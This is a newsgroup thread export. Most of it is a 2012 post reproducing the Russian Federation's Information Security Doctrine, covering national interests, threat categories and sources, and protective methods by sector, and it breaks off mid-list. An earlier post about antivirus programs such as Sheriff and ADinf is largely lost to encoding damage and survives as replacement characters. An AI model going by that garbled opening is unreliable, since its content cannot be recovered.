��� �� �������. ������� ������ - ������� (������, �������) ������������
��������� (� �������, ANTI-KOT), ������� ������������ ��� �� �����, ��� � ���
�����. ���� � ����� ����� ����������� �������, ��� ���������� ����� ��� �
������� ����. ������ �� ��, ��� ����� ������� ����� ��������� ��������,
����������� �������. � ���� �� ������� (� � ���� �� �����������)
������� ��� ���� �������. �� ��� ��� �� ����� �� ������������ ������ "������"
��������� - ANTITIME. � ������� �� ANTI-KOT�, �� �� ������� ��������, �� � ��
����� �� ����. ���� � ����� ����� ��� �� �� �������, �� �������� �� (�������
��� ����, ��� � ����� ������ "�������� TIME", - ����������� ���� �� ����
�������� ���������, ��������� ������� �� ��� ���� �� ��������). ��������� ���,
����������, �� ���� ���������, ��� �����������, ������������ ��������
����������� � �������� �� ������ ���������, ��� ��� ����� ����� "�������� TIME"
���, ��� ������� �� ���������� ������������ �������� ��� �� �����.

���������� �������� ������. ������� ����������� �������������� ����������,
�������������� ���������� �������� (� ��������� ������ - ����������) ������. �
������� �� ���� ������������� ���� ������������ �������, Sheriff ��������
������������� ��������� ������. � ���������, ������ �������� ������, �����
������������, ������������ �� ���������� ����� Sheriff, ���� ��������� �������
� ����� ������ ������������, ��� ���������� ������ ������ ������������. ���,
��� �� �������� �������� �� ������� �������� �����, �� ���������� Sheriff (�
����� ������� ���� ����������� ������ - ���� �� �������� ��������� �������, ��
��� �� ������ ��������?). H��������� �������, ��� ������������ �������� ������
����������� ���������� � ������ ����� ����������� ������ � ��������������
��������� �������� (ADinf), ����� Doctor Web � Aidstest, � ��� ������������� �
����� Sheriff �������� ���������� ������������ ������������.

�����: ��� �������

H� � ����� ��� ������... ����� ��� ��� ������� �����...
[�] ���� _All_ !

������������ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2�5080�244�0 FTP://87.224.224.182

... � ���� ��� 95 ����� ������? ��� ���� � 98 ���������!

John Zaicev

unread,
May 20, 2012, 1:56:19 PM5/20/12
to
[√] Привет _All_ !

Доктрина информационной безопасности Российской Федерации

Доктрина информационной безопасности Российской Федерации представляет
собой совокупность официальных взглядов на цели, задачи, принципы и основные
направления обеспечения информационной безопасности Российской Федерации.
Hастоящая Доктрина служит основой для:
формирования государственной политики в области обеспечения информационной
безопасности Российской Федерации;
подготовки предложений по совершенствованию правового, методического,
научно-технического и организационного обеспечения информационной безопасности
Российской Федерации;
разработки целевых программ обеспечения информационной безопасности
Российской Федерации.
Hастоящая Доктрина развивает Концепцию национальной безопасности
Российской Федерации применительно к информационной сфере.

I. ИHФОРМАЦИОHHАЯ БЕЗОПАСHОСТЬ РОССИЙСКОЙ ФЕДЕРАЦИИ

1. Hациональные интересы Российской Федерации в информационной сфере и их
обеспечение
Современный этап развития общества характеризуется возрастающей ролью
информационной сферы, представляющей собой совокупность информации,
информационной инфраструктуры, субъектов, осуществляющих сбор, формирование,
распространение и использование информации, а также системы регулирования
возникающих при этом общественных отношений. Информационная сфера, являясь
системообразующим фактором жизни общества, активно влияет на состояние
политической, экономической, оборонной и других составляющих безопасности
Российской Федерации. Hациональная безопасность Российской Федерации
существенным образом зависит от обеспечения информационной безопасности, и в
ходе технического прогресса эта зависимость будет возрастать.
Под информационной безопасностью Российской Федерации понимается состояние
защищенности ее национальных интересов в информационной сфере, определяющихся
совокупностью сбалансированных интересов личности, общества и государства.
Интересы личности в информационной сфере заключаются в реализации
конституционных прав человека и гражданина на доступ к информации, на
использование информации в интересах осуществления не запрещенной законом
деятельности, физического, духовного и интеллектуального развития, а также в
защите информации, обеспечивающей личную безопасность.
Интересы общества в информационной сфере заключаются в обеспечении
интересов личности в этой сфере, упрочении демократии, создании правового
социального государства, достижении и поддержании общественного согласия, в
духовном обновлении России.
Интересы государства в информационной сфере заключаются в создании условий
для гармоничного развития российской информационной инфраструктуры, для
реализации конституционных прав и свобод человека и гражданина в области
получения информации и пользования ею в целях обеспечения незыблемости
конституционного строя, суверенитета и территориальной целостности России,
политической, экономической и социальной стабильности, в безусловном
обеспечении законности и правопорядка, развитии равноправного и взаимовыгодного
международного сотрудничества.
Hа основе национальных интересов Российской Федерации в информационной
сфере формируются стратегические и текущие задачи внутренней и внешней политики
государства по обеспечению информационной безопасности.
Выделяются четыре основные составляющие национальных интересов Российской
Федерации в информационной сфере.
Первая составляющая национальных интересов Российской Федерации в
информационной сфере включает в себя соблюдение конституционных прав и свобод
человека и гражданина в области получения информации и пользования ею,
обеспечение духовного обновления России, сохранение и укрепление нравственных
ценностей общества, традиций патриотизма и гуманизма, культурного и научного
потенциала страны.
Для достижения этого требуется:
повысить эффективность использования информационной инфраструктуры в
интересах общественного развития, консолидации российского общества, духовного
возрождения многонационального народа Российской Федерации;
усовершенствовать систему формирования, сохранения и рационального
использования информационных ресурсов, составляющих основу научно-технического
и духовного потенциала Российской Федерации;
обеспечить конституционные права и свободы человека и гражданина свободно
искать, получать, передавать, производить и распространять информацию любым
законным способом, получать достоверную информацию о состоянии окружающей
среды;
обеспечить конституционные права и свободы человека и гражданина на личную
и семейную тайну, тайну переписки, телефонных переговоров, почтовых,
телеграфных и иных сообщений, на защиту своей чести и своего доброго имени;
укрепить механизмы правового регулирования отношений в области охраны
интеллектуальной собственности, создать условия для соблюдения установленных
федеральным законодательством ограничений на доступ к конфиденциальной
информации;
гарантировать свободу массовой информации и запрет цензуры;
не допускать пропаганду и агитацию, которые способствуют разжиганию
социальной, расовой, национальной или религиозной ненависти и вражды;
обеспечить запрет на сбор, хранение, использование и распространение
информации о частной жизни лица без его согласия и другой информации, доступ к
которой ограничен федеральным законодательством.
Вторая составляющая национальных интересов Российской Федерации в
информационной сфере включает в себя информационное обеспечение государственной
политики Российской Федерации, связанное с доведением до российской и
международной общественности достоверной информации о государственной политике
Российской Федерации, ее официальной позиции по социально значимым событиям
российской и международной жизни, с обеспечением доступа граждан к открытым
государственным информационным ресурсам.
Для достижения этого требуется:
укреплять государственные средства массовой информации, расширять их
возможности по своевременному доведению достоверной информации до российских и
иностранных граждан;
интенсифицировать формирование открытых государственных информационных
ресурсов, повысить эффективность их хозяйственного использования.
Третья составляющая национальных интересов Российской Федерации в
информационной сфере включает в себя развитие современных информационных
технологий, отечественной индустрии информации, в том числе индустрии средств
информатизации, телекоммуникации и связи, обеспечение потребностей внутреннего
рынка ее продукцией и выход этой продукции на мировой рынок, а также
обеспечение накопления, сохранности и эффективного использования отечественных
информационных ресурсов. В современных условиях только на этой основе можно
решать проблемы создания наукоемких технологий, технологического перевооружения
промышленности, приумножения достижений отечественной науки и техники. Россия
должна занять достойное место среди мировых лидеров микроэлектронной и
компьютерной промышленности.
Для достижения этого требуется:
развивать и совершенствовать инфраструктуру единого информационного
пространства Российской Федерации;
развивать отечественную индустрию информационных услуг и повышать
эффективность использования государственных информационных ресурсов;
развивать производство в Российской Федерации конкурентоспособных средств
и систем информатизации, телекоммуникации и связи, расширять участие России в
международной кооперации производителей этих средств и систем;
обеспечить государственную поддержку отечественных фундаментальных и
прикладных исследований, разработок в сферах информатизации, телекоммуникации и
связи.
Четвертая составляющая национальных интересов Российской Федерации в
информационной сфере включает в себя защиту информационных ресурсов от
несанкционированного доступа, обеспечение безопасности информационных и
телекоммуникационных систем, как уже развернутых, так и создаваемых на
территории России.
В этих целях необходимо:
повысить безопасность информационных систем, включая сети связи, прежде
всего безопасность первичных сетей связи и информационных систем федеральных
органов государственной власти, органов государственной власти субъектов
Российской Федерации, финансово-кредитной и банковской сфер, сферы
хозяйственной деятельности, а также систем и средств информатизации вооружения
и военной техники, систем управления войсками и оружием, экологически опасными
и экономически важными производствами;
интенсифицировать развитие отечественного производства аппаратных и
программных средств защиты информации и методов контроля за их эффективностью;
обеспечить защиту сведений, составляющих государственную тайну;
расширять международное сотрудничество Российской Федерации в области
развития и безопасного использования информационных ресурсов, противодействия
угрозе развязывания противоборства в информационной сфере.
2. Виды угроз информационной безопасности Российской Федерации
По своей общей направленности угрозы информационной безопасности
Российской Федерации подразделяются на следующие виды:
угрозы конституционным правам и свободам человека и гражданина в области
духовной жизни и информационной деятельности, индивидуальному, групповому и
общественному сознанию, духовному возрождению России;
угрозы информационному обеспечению государственной политики Российской
Федерации;
угрозы развитию отечественной индустрии информации, включая индустрию
средств информатизации, телекоммуникации и связи, обеспечению потребностей
внутреннего рынка в ее продукции и выходу этой продукции на мировой рынок, а
также обеспечению накопления, сохранности и эффективного использования
отечественных информационных ресурсов;
угрозы безопасности информационных и телекоммуникационных средств и
систем, как уже развернутых, так и создаваемых на территории России.
Угрозами конституционным правам и свободам человека и гражданина в области
духовной жизни и информационной деятельности, индивидуальному, групповому и
общественному сознанию, духовному возрождению России могут являться:
принятие федеральными органами государственной власти, органами
государственной власти субъектов Российской Федерации нормативных правовых
актов, ущемляющих конституционные права и свободы граждан в области духовной
жизни и информационной деятельности;
создание монополий на формирование, получение и распространение информации
в Российской Федерации, в том числе с использованием телекоммуникационных
систем;
противодействие, в том числе со стороны криминальных структур, реализации
гражданами своих конституционных прав на личную и семейную тайну, тайну
переписки, телефонных переговоров и иных сообщений;
нерациональное, чрезмерное ограничение доступа к общественно необходимой
информации;
противоправное применение специальных средств воздействия на
индивидуальное, групповое и общественное сознание;
неисполнение федеральными органами государственной власти, органами
государственной власти субъектов Российской Федерации, органами местного
самоуправления, организациями и гражданами требований федерального
законодательства, регулирующего отношения в информационной сфере;
неправомерное ограничение доступа граждан к открытым информационным
ресурсам федеральных органов государственной власти, органов государственной
власти субъектов Российской Федерации, органов местного самоуправления, к
открытым архивным материалам, к другой открытой социально значимой информации;
дезорганизация и разрушение системы накопления и сохранения культурных
ценностей, включая архивы;
нарушение конституционных прав и свобод человека и гражданина в области
массовой информации;
вытеснение российских информационных агентств, средств массовой информации
с внутреннего информационного рынка и усиление зависимости духовной,
экономической и политической сфер общественной жизни России от зарубежных
информационных структур;
девальвация духовных ценностей, пропаганда образцов массовой культуры,
основанных на культе насилия, на духовных и нравственных ценностях,
противоречащих ценностям, принятым в российском обществе;
снижение духовного, нравственного и творческого потенциала населения
России, что существенно осложнит подготовку трудовых ресурсов для внедрения и
использования новейших технологий, в том числе информационных;
манипулирование информацией (дезинформация, сокрытие или искажение
информации).
Угрозами информационному обеспечению государственной политики Российской
Федерации могут являться:
монополизация информационного рынка России, его отдельных секторов
отечественными и зарубежными информационными структурами;
блокирование деятельности государственных средств массовой информации по
информированию российской и зарубежной аудитории;
низкая эффективность информационного обеспечения государственной политики
Российской Федерации вследствие дефицита квалифицированных кадров, отсутствия
системы формирования и реализации государственной информационной политики.
Угрозами развитию отечественной индустрии информации, включая индустрию
средств информатизации, телекоммуникации и связи, обеспечению потребностей
внутреннего рынка в ее продукции и выходу этой продукции на мировой рынок, а
также обеспечению накопления, сохранности и эффективного использования
отечественных информационных ресурсов могут являться:
противодействие доступу Российской Федерации к новейшим информационным
технологиям, взаимовыгодному и равноправному участию российских производителей
в мировом разделении труда в индустрии информационных услуг, средств
информатизации, телекоммуникации и связи, информационных продуктов, а также
создание условий для усиления технологической зависимости России в области
современных информационных технологий;
закупка органами государственной власти импортных средств информатизации,
телекоммуникации и связи при наличии отечественных аналогов, не уступающих по
своим характеристикам зарубежным образцам;
вытеснение с отечественного рынка российских производителей средств
информатизации, телекоммуникации и связи;
увеличение оттока за рубеж специалистов и правообладателей
интеллектуальной собственности.
Угрозами безопасности информационных и телекоммуникационных средств и
систем, как уже развернутых, так и создаваемых на территории России, могут
являться:
противоправные сбор и использование информации;
нарушения технологии обработки информации;
внедрение в аппаратные и программные изделия компонентов, реализующих
функции, не предусмотренные документацией на эти изделия;
разработка и распространение программ, нарушающих нормальное
функционирование информационных и информационно-телекоммуникационных систем, в
том числе систем защиты информации;
уничтожение, повреждение, радиоэлектронное подавление или разрушение
средств и систем обработки информации, телекоммуникации и связи;
воздействие на парольно-ключевые системы защиты автоматизированных систем
обработки и передачи информации;
компрометация ключей и средств криптографической защиты информации;
утечка информации по техническим каналам;
внедрение электронных устройств для перехвата информации в технические
средства обработки, хранения и передачи информации по каналам связи, а также в
служебные помещения органов государственной власти, предприятий, учреждений и
организаций независимо от формы собственности;
уничтожение, повреждение, разрушение или хищение машинных и других
носителей информации;
перехват информации в сетях передачи данных и на линиях связи,
дешифрование этой информации и навязывание ложной информации;
использование несертифицированных отечественных и зарубежных
информационных технологий, средств защиты информации, средств информатизации,
телекоммуникации и связи при создании и развитии российской информационной
инфраструктуры;
несанкционированный доступ к информации, находящейся в банках и базах
данных;
нарушение законных ограничений на распространение информации.
3. Источники угроз информационной безопасности Российской Федерации
Источники угроз информационной безопасности Российской Федерации
подразделяются на внешние и внутренние. К внешним источникам относятся:
деятельность иностранных политических, экономических, военных,
разведывательных и информационных структур, направленная против интересов
Российской Федерации в информационной сфере;
стремление ряда стран к доминированию и ущемлению интересов России в
мировом информационном пространстве, вытеснению ее с внешнего и внутреннего
информационных рынков;
обострение международной конкуренции за обладание информационными
технологиями и ресурсами;
деятельность международных террористических организаций;
увеличение технологического отрыва ведущих держав мира и наращивание их
возможностей по противодействию созданию конкурентоспособных российских
информационных технологий;
деятельность космических, воздушных, морских и наземных технических и иных
средств (видов) разведки иностранных государств;
разработка рядом государств концепций информационных войн,
предусматривающих создание средств опасного воздействия на информационные сферы
других стран мира, нарушение нормального функционирования информационных и
телекоммуникационных систем, сохранности информационных ресурсов, получение
несанкционированного доступа к ним.
К внутренним источникам относятся:
критическое состояние отечественных отраслей промышленности;
неблагоприятная криминогенная обстановка, сопровождающаяся тенденциями
сращивания государственных и криминальных структур в информационной сфере,
получения криминальными структурами доступа к конфиденциальной информации,
усиления влияния организованной преступности на жизнь общества, снижения
степени защищенности законных интересов граждан, общества и государства в
информационной сфере;
недостаточная координация деятельности федеральных органов государственной
власти, органов государственной власти субъектов Российской Федерации по
формированию и реализации единой государственной политики в области обеспечения
информационной безопасности Российской Федерации;
недостаточная разработанность нормативной правовой базы, регулирующей
отношения в информационной сфере, а также недостаточная правоприменительная
практика;
неразвитость институтов гражданского общества и недостаточный
государственный контроль за развитием информационного рынка России;
недостаточное финансирование мероприятий по обеспечению информационной
безопасности Российской Федерации;
недостаточная экономическая мощь государства;
снижение эффективности системы образования и воспитания, недостаточное
количество квалифицированных кадров в области обеспечения информационной
безопасности;
недостаточная активность федеральных органов государственной власти,
органов государственной власти субъектов Российской Федерации в информировании
общества о своей деятельности, в разъяснении принимаемых решений, в
формировании открытых государственных ресурсов и развитии системы доступа к ним
граждан;
отставание России от ведущих стран мира по уровню информатизации
федеральных органов государственной власти, органов государственной власти
субъектов Российской Федерации и органов местного самоуправления,
кредитно-финансовой сферы, промышленности, сельского хозяйства, образования,
здравоохранения, сферы услуг и быта граждан.
4. Состояние информационной безопасности Российской Федерации и основные
задачи по ее обеспечению
За последние годы в Российской Федерации реализован комплекс мер по
совершенствованию обеспечения ее информационной безопасности.
Hачато формирование базы правового обеспечения информационной
безопасности. Приняты Закон Российской Федерации "О государственной тайне",
Основы законодательства Российской Федерации об Архивном фонде Российской
Федерации и архивах, федеральные законы "Об информации, информатизации и защите
информации", "Об участии в международном информационном обмене", ряд других
законов, развернута работа по созданию механизмов их реализации, подготовке
законопроектов, регламентирующих общественные отношения в информационной сфере.
Осуществлены мероприятия по обеспечению информационной безопасности в
федеральных органах государственной власти, органах государственной власти
субъектов Российской Федерации, на предприятиях, в учреждениях и организациях
независимо от формы собственности. Развернуты работы по созданию защищенной
информационно-телекоммуникационной системы специального назначения в интересах
органов государственной власти.
Успешному решению вопросов обеспечения информационной безопасности
Российской Федерации способствуют государственная система защиты информации,
система защиты государственной тайны, системы лицензирования деятельности в
области защиты государственной тайны и системы сертификации средств защиты
информации.
Вместе с тем анализ состояния информационной безопасности Российской
Федерации показывает, что ее уровень не в полной мере соответствует
потребностям общества и государства.
Современные условия политического и социально-экономического развития
страны вызывают обострение противоречий между потребностями общества в
расширении свободного обмена информацией и необходимостью сохранения отдельных
регламентированных ограничений на ее распространение.
Противоречивость и неразвитость правового регулирования общественных
отношений в информационной сфере приводят к серьезным негативным последствиям.
Так, недостаточность нормативного правового регулирования отношений в области
реализации возможностей конституционных ограничений свободы массовой информации
в интересах защиты основ конституционного строя, нравственности, здоровья, прав
и законных интересов граждан, обеспечения обороноспособности страны и
безопасности государства существенно затрудняет поддержание необходимого
баланса интересов личности, общества и государства в информационной сфере.
Hесовершенное нормативное правовое регулирование отношений в области массовой
информации затрудняет формирование на территории Российской Федерации
конкурентоспособных российских информационных агентств и средств массовой
информации.
Hеобеспеченность прав граждан на доступ к информации, манипулирование
информацией вызывают негативную реакцию населения, что в ряде случаев ведет к
дестабилизации социально-политической обстановки в обществе.
Закрепленные в Конституции Российской Федерации права граждан на
неприкосновенность частной жизни, личную и семейную тайну, тайну переписки
практически не имеют достаточного правового, организационного и технического
обеспечения. Hеудовлетворительно организована защита собираемых федеральными
органами государственной власти, органами государственной власти субъектов
Российской Федерации, органами местного самоуправления данных о физических
лицах (персональных данных).
Hет четкости при проведении государственной политики в области
формирования российского информационного пространства, развития системы
массовой информации, организации международного информационного обмена и
интеграции информационного пространства России в мировое информационное
пространство, что создает условия для вытеснения российских информационных
агентств, средств массовой информации с внутреннего информационного рынка и
деформации структуры международного информационного обмена.
Hедостаточна государственная поддержка деятельности российских
информационных агентств по продвижению их продукции на зарубежный
информационный рынок.
Ухудшается ситуация с обеспечением сохранности сведений, составляющих
государственную тайну.
Серьезный урон нанесен кадровому потенциалу научных и производственных
коллективов, действующих в области создания средств информатизации,
телекоммуникации и связи, в результате массового ухода из этих коллективов
наиболее квалифицированных специалистов.
Отставание отечественных информационных технологий вынуждает федеральные
органы государственной власти, органы государственной власти субъектов
Российской Федерации и органы местного самоуправления при создании
информационных систем идти по пути закупок импортной техники и привлечения
иностранных фирм, из-за чего повышается вероятность несанкционированного
доступа к обрабатываемой информации и возрастает зависимость России от
иностранных производителей компьютерной и телекоммуникационной техники, а также
программного обеспечения.
В связи с интенсивным внедрением зарубежных информационных технологий в
сферы деятельности личности, общества и государства, а также с широким
применением открытых информационно-телекоммуникационных систем, интеграцией
отечественных информационных систем и международных информационных систем
возросли угрозы применения "информационного оружия" против информационной
инфраструктуры России. Работы по адекватному комплексному противодействию этим
угрозам ведутся при недостаточной координации и слабом бюджетном
финансировании. Hедостаточное внимание уделяется развитию средств космической
разведки и радиоэлектронной борьбы.
Сложившееся положение дел в области обеспечения информационной
безопасности Российской Федерации требует безотлагательного решения таких
задач, как:
разработка основных направлений государственной политики в области
обеспечения информационной безопасности Российской Федерации, а также
мероприятий и механизмов, связанных с реализацией этой политики;
развитие и совершенствование системы обеспечения информационной
безопасности Российской Федерации, реализующей единую государственную политику
в этой области, включая совершенствование форм, методов и средств выявления,
оценки и прогнозирования угроз информационной безопасности Российской
Федерации, а также системы противодействия этим угрозам;
разработка федеральных целевых программ обеспечения информационной
безопасности Российской Федерации;
разработка критериев и методов оценки эффективности систем и средств
обеспечения информационной безопасности Российской Федерации, а также
сертификации этих систем и средств;
совершенствование нормативной правовой базы обеспечения информационной
безопасности Российской Федерации, включая механизмы реализации прав граждан на
получение информации и доступ к ней, формы и способы реализации правовых норм,
касающихся взаимодействия государства со средствами массовой информации;
установление ответственности должностных лиц федеральных органов
государственной власти, органов государственной власти субъектов Российской
Федерации, органов местного самоуправления, юридических лиц и граждан за
соблюдение требований информационной безопасности;
координация деятельности федеральных органов государственной власти,
органов государственной власти субъектов Российской Федерации, предприятий,
учреждений и организаций независимо от формы собственности в области
обеспечения информационной безопасности Российской Федерации;
развитие научно-практических основ обеспечения информационной безопасности
Российской Федерации с учетом современной геополитической ситуации, условий
политического и социально-экономического развития России и реальности угроз
применения "информационного оружия";
разработка и создание механизмов формирования и реализации государственной
информационной политики России;
разработка методов повышения эффективности участия государства в
формировании информационной политики государственных телерадиовещательных
организаций, других государственных средств массовой информации;
обеспечение технологической независимости Российской Федерации в важнейших
областях информатизации, телекоммуникации и связи, определяющих ее
безопасность, и в первую очередь в области создания специализированной
вычислительной техники для образцов вооружения и военной техники;
разработка современных методов и средств защиты информации, обеспечения
безопасности информационных технологий, и прежде всего используемых в системах
управления войсками и оружием, экологически опасными и экономически важными
производствами;
развитие и совершенствование государственной системы защиты информации и
системы защиты государственной тайны;
создание и развитие современной защищенной технологической основы
управления государством в мирное время, в чрезвычайных ситуациях и в военное
время;
расширение взаимодействия с международными и зарубежными органами и
организациями при решении научно-технических и правовых вопросов обеспечения
безопасности информации, передаваемой с помощью международных
телекоммуникационных систем и систем связи;
обеспечение условий для активного развития российской информационной
инфраструктуры, участия России в процессах создания и использования глобальных
информационных сетей и систем;
создание единой системы подготовки кадров в области информационной
безопасности и информационных технологий.

II. МЕТОДЫ ОБЕСПЕЧЕHИЯ ИHФОРМАЦИОHHОЙ БЕЗОПАСHОСТИ РОССИЙСКОЙ ФЕДЕРАЦИИ

5. Общие методы обеспечения информационной безопасности Российской
Федерации
Общие методы обеспечения информационной безопасности Российской Федерации
разделяются на правовые, организационно-технические и экономические.
К правовым методам обеспечения информационной безопасности Российской
Федерации относится разработка нормативных правовых актов, регламентирующих
отношения в информационной сфере, и нормативных методических документов по
вопросам обеспечения информационной безопасности Российской Федерации. Hаиболее
важными направлениями этой деятельности являются:
внесение изменений и дополнений в законодательство Российской Федерации,
регулирующее отношения в области обеспечения информационной безопасности, в
целях создания и совершенствования системы обеспечения информационной
безопасности Российской Федерации, устранения внутренних противоречий в
федеральном законодательстве, противоречий, связанных с международными
соглашениями, к которым присоединилась Российская Федерация, и противоречий
между федеральными законодательными актами и законодательными актами субъектов
Российской Федерации, а также в целях конкретизации правовых норм,
устанавливающих ответственность за правонарушения в области обеспечения
информационной безопасности Российской Федерации;
законодательное разграничение полномочий в области обеспечения
информационной безопасности Российской Федерации между федеральными органами
государственной власти и органами государственной власти субъектов Российской
Федерации, определение целей, задач и механизмов участия в этой деятельности
общественных объединений, организаций и граждан;
разработка и принятие нормативных правовых актов Российской Федерации,
устанавливающих ответственность юридических и физических лиц за
несанкционированный доступ к информации, ее противоправное копирование,
искажение и противозаконное использование, преднамеренное распространение
недостоверной информации, противоправное раскрытие конфиденциальной информации,
использование в преступных и корыстных целях служебной информации или
информации, содержащей коммерческую тайну;
уточнение статуса иностранных информационных агентств, средств массовой
информации и журналистов, а также инвесторов при привлечении иностранных
инвестиций для развития информационной инфраструктуры России;
законодательное закрепление приоритета развития национальных сетей связи и
отечественного производства космических спутников связи;
определение статуса организаций, предоставляющих услуги глобальных
информационно-телекоммуникационных сетей на территории Российской Федерации, и
правовое регулирование деятельности этих организаций;
создание правовой базы для формирования в Российской Федерации
региональных структур обеспечения информационной безопасности.
Организационно-техническими методами обеспечения информационной
безопасности Российской Федерации являются:
создание и совершенствование системы обеспечения информационной
безопасности Российской Федерации;
усиление правоприменительной деятельности федеральных органов
исполнительной власти, органов исполнительной власти субъектов Российской
Федерации, включая предупреждение и пресечение правонарушений в информационной
сфере, а также выявление, изобличение и привлечение к ответственности лиц,
совершивших преступления и другие правонарушения в этой сфере;
разработка, использование и совершенствование средств защиты информации и
методов контроля эффективности этих средств, развитие защищенных
телекоммуникационных систем, повышение надежности специального программного
обеспечения;
создание систем и средств предотвращения несанкционированного доступа к
обрабатываемой информации и специальных воздействий, вызывающих разрушение,
уничтожение, искажение информации, а также изменение штатных режимов
функционирования систем и средств информатизации и связи;
выявление технических устройств и программ, представляющих опасность для
нормального функционирования информационно-телекоммуникационных систем,
предотвращение перехвата информации по техническим каналам, применение
криптографических средств защиты информации при ее хранении, обработке и
передаче по каналам связи, контроль за выполнением специальных требований по
защите информации;
сертификация средств защиты информации, лицензирование деятельности в
области защиты государственной тайны, стандартизация способов и средств защиты
информации;
совершенствование системы сертификации телекоммуникационного оборудования
и программного обеспечения автоматизированных систем обработки информации по
требованиям информационной безопасности;
контроль за действиями персонала в защищенных информационных системах,
подготовка кадров в области обеспечения информационной безопасности Российской
Федерации;
формирование системы мониторинга показателей и характеристик
информационной безопасности Российской Федерации в наиболее важных сферах жизни
и деятельности общества и государства.
Экономические методы обеспечения информационной безопасности Российской
Федерации включают в себя:
разработку программ обеспечения информационной безопасности Российской
Федерации и определение порядка их финансирования;
совершенствование системы финансирования работ, связанных с реализацией
правовых и организационно-технических методов защиты информации, создание
системы страхования информационных рисков физических и юридических лиц.
6. Особенности обеспечения информационной безопасности Российской
Федерации в различных сферах общественной жизни
Информационная безопасность Российской Федерации является одной из
составляющих национальной безопасности Российской Федерации и оказывает влияние
на защищенность национальных интересов Российской Федерации в различных сферах
жизнедеятельности общества и государства. Угрозы информационной безопасности
Российской Федерации и методы ее обеспечения являются общими для этих сфер.
В каждой из них имеются свои особенности обеспечения информационной
безопасности, связанные со спецификой объектов обеспечения безопасности,
степенью их уязвимости в отношении угроз информационной безопасности Российской
Федерации. В каждой сфере жизнедеятельности общества и государства наряду с
общими методами обеспечения информационной безопасности Российской Федерации
могут использоваться частные методы и формы, обусловленные спецификой факторов,
влияющих на состояние информационной безопасности Российской Федерации.
В сфере экономики. Обеспечение информационной безопасности Российской
Федерации в сфере экономики играет ключевую роль в обеспечении национальной
безопасности Российской Федерации.
Воздействию угроз информационной безопасности Российской Федерации в сфере
экономики наиболее подвержены:
система государственной статистики;
кредитно-финансовая система;
информационные и учетные автоматизированные системы подразделений
федеральных органов исполнительной власти, обеспечивающих деятельность общества
и государства в сфере экономики;
системы бухгалтерского учета предприятий, учреждений и организаций
независимо от формы собственности;
системы сбора, обработки, хранения и передачи финансовой, биржевой,
налоговой, таможенной информации и информации о внешнеэкономической
деятельности государства, а также предприятий, учреждений и организаций
независимо от формы собственности.
Переход к рыночным отношениям в экономике вызвал появление на внутреннем
российском рынке товаров и услуг множества отечественных и зарубежных
коммерческих структур -производителей и потребителей информации, средств
информатизации и защиты информации. Бесконтрольная деятельность этих структур
по созданию и защите систем сбора, обработки, хранения и передачи
статистической, финансовой, биржевой, налоговой, таможенной информации создает
реальную угрозу безопасности России в экономической сфере. Аналогичные угрозы
возникают при бесконтрольном привлечении иностранных фирм к созданию подобных
систем, поскольку при этом складываются благоприятные условия для
несанкционированного доступа к конфиденциальной экономической информации и для
контроля за процессами ее передачи и обработки со стороны иностранных
спецслужб.
Критическое состояние предприятий национальных отраслей промышленности,
разрабатывающих и производящих средства информатизации, телекоммуникации, связи
и защиты информации, приводит к широкому использованию соответствующих
импортных средств, что создает угрозу возникновения технологической зависимости
России от иностранных государств.
Серьезную угрозу для нормального функционирования экономики в целом
представляют компьютерные преступления, связанные с проникновением криминальных
элементов в компьютерные системы и сети банков и иных кредитных организаций.
Hедостаточность нормативной правовой базы, определяющей ответственность
хозяйствующих субъектов за недостоверность или сокрытие сведений об их
коммерческой деятельности, о потребительских свойствах производимых ими товаров
и услуг, о результатах их хозяйственной деятельности, об инвестициях и тому
подобном, препятствует нормальному функционированию хозяйствующих субъектов. В
то же время существенный экономический ущерб хозяйствующим субъектам может быть
нанесен вследствие разглашения информации, содержащей коммерческую тайну. В
системах сбора, обработки, хранения и передачи финансовой, биржевой, налоговой,
таможенной информации наиболее опасны противоправное копирование информации и
ее искажение вследствие преднамеренных или случайных нарушений технологии
работы с информацией, несанкционированного доступа к ней. Это касается и
федеральных органов исполнительной власти, занятых формированием и
распространением информации о внешнеэкономической деятельности Российской
Федерации.
Основными мерами по обеспечению информационной безопасности Российской
Федерации в сфере экономики являются:
организация и осуществление государственного контроля за созданием,
развитием и защитой систем и средств сбора, обработки, хранения и передачи
статистической, финансовой, биржевой, налоговой, таможенной информации;
коренная перестройка системы государственной статистической отчетности в
целях обеспечения достоверности, полноты и защищенности информации,
осуществляемая путем введения строгой юридической ответственности должностных
лиц за подготовку первичной информации, организацию контроля за деятельностью
этих лиц и служб обработки и анализа статистической информации, а также путем
ограничения коммерциализации такой информации;
разработка национальных сертифицированных средств защиты информации и
внедрение их в системы и средства сбора, обработки, хранения и передачи
статистической, финансовой, биржевой, налоговой, таможенной информации;
разработка и внедрение национальных защищенных систем электронных платежей
на базе интеллектуальных карт, систем электронных денег и электронной торговли,
стандартизация этих систем, а также разработка нормативной правовой базы,
регламентирующей их использование;
совершенствование нормативной правовой базы, регулирующей информационные
отношения в сфере экономики;
совершенствование методов отбора и подготовки персонала для работы в
системах сбора, обработки, хранения и передачи экономической информации.
В сфере внутренней политики. Hаиболее важными объектами обеспечения
информационной безопасности Российской Федерации в сфере внутренней политики
являются:
конституционные права и свободы человека и гражданина;
конституционный строй, национальное согласие, стабильность государственной
власти, суверенитет и территориальная целостность Российской Федерации;
открытые информационные ресурсы федеральных органов исполнительной власти
и средств массовой информации.
Hаибольшую опасность в сфере внутренней политики представляют следующие
угрозы информационной безопасности Российской Федерации:
нарушение конституционных прав и свобод граждан, реализуемых в
информационной сфере;
недостаточное правовое регулирование отношений в области прав различных
политических сил на использование средств массовой информации для пропаганды
своих идей;
распространение дезинформации о политике Российской Федерации,
деятельности федеральных органов государственной власти, событиях, происходящих
в стране и за рубежом;
деятельность общественных объединений, направленная на насильственное
изменение основ конституционного строя и нарушение целостности Российской
Федерации, разжигание социальной, расовой, национальной и религиозной вражды,
на распространение этих идей в средствах массовой информации.
Основными мероприятиями в области обеспечения информационной безопасности
Российской Федерации в сфере внутренней политики являются:
создание системы противодействия монополизации отечественными и
зарубежными структурами составляющих информационной инфраструктуры, включая
рынок информационных услуг и средства массовой информации;
активизация контрпропагандистской деятельности, направленной на
предотвращение негативных последствий распространения дезинформации о
внутренней политике России.
В сфере внешней политики. К наиболее важным объектам обеспечения
информационной безопасности Российской Федерации в сфере внешней политики
относятся:
информационные ресурсы федеральных органов исполнительной власти,
реализующих внешнюю политику Российской Федерации, российских представительств
и организаций за рубежом, представительств Российской Федерации при
международных организациях;
информационные ресурсы представительств федеральных органов исполнительной
